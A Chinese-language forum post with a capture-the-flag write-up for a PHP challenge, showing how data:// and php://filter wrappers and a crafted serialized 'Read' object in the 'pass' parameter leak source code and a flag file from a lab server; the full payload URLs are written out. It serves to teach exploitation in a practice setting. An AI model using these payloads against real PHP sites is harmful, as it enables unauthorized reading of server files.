gscsd 发表于 2024-8-5 01:25:50

not admin-php反序列化

本帖最后由 gscsd 于 2024-8-5 01:37 编辑

打开网站页面,右键查看源代码,

发现需要参数user的值为"the user is admin", roger大神的write-up文章里写到如下方法:

不太行的方法:
    先要加入user参数,而且要满足最后得到的user参数结果为 “the user is admin”,可以利用php伪协议:
    http://xuenixiang.cn:24309/?user=php://input
    同时利用Hackbar(一个火狐插件)发送post数据为
    the user is admin

注意:但是我用了许多版本的hackbar以上方法都没有成功,是不是php://input漏洞修复了呢?于是我又找到了如下方法:
成功的方法:

    利用data协议:
    http://xuenixiang.cn:24309/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=
    ((dGhlIHVzZXIgaXMgYWRtaW4=)base64解码后为the user is admin)


接下来都和roger大神write-up里的差不多了,第二步现在利用php伪协议读取class.php源码,格式为base64加密
    浏览器输入
    http://xuenixiang.cn:24309/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=php://filter/read=convert.base64-encode/resource=class.php
    得到
   
    base64解码得到如下
    <?php

    class Read{//f1ag.php
      public $file;
      public function __toString(){
            if(isset($this->file)){
                echo file_get_contents($this->file);
            }
            return "__toString was called!";
      }
    }
    ?>
发现f1ag.php,注意这里的是字母g而不是9,
最后浏览器输入
    http://xuenixiang.cn:24309/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:57:%22php://filter/read=convert.base64-encode/resource=f1ag.php%22;}
就是构造反序列化的参数,令pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1ag.php";}

base64解码得到flag
总结,其实user, file, pass三个参数

roger 发表于 2024-8-8 18:57:52

不错不错,继续加油
页: [1]
查看完整版本: not admin-php反序列化